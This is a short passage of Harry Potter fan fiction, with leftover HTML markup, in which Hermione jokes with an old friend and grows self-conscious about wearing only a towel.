breakfast, but if you\'re going to yell and cry all day, you\'ll go hungry.&quot; </p>\n\n<p> Hermione started to apologize, then recognized the familiar glint in her old friend\'s eyes as he began to laugh at her penitent expression. &quot;That wasn\'t nice, she said, giving his shoulder a playful shove. He shoved her back, and all of a sudden Hermione had the painful realization that she was wearing nothing but a white cotton towel, one which just might give in to the forces of gravity if this horseplay went on much longer. She stepped backwards, her hand gripping the towel tightly around herself.</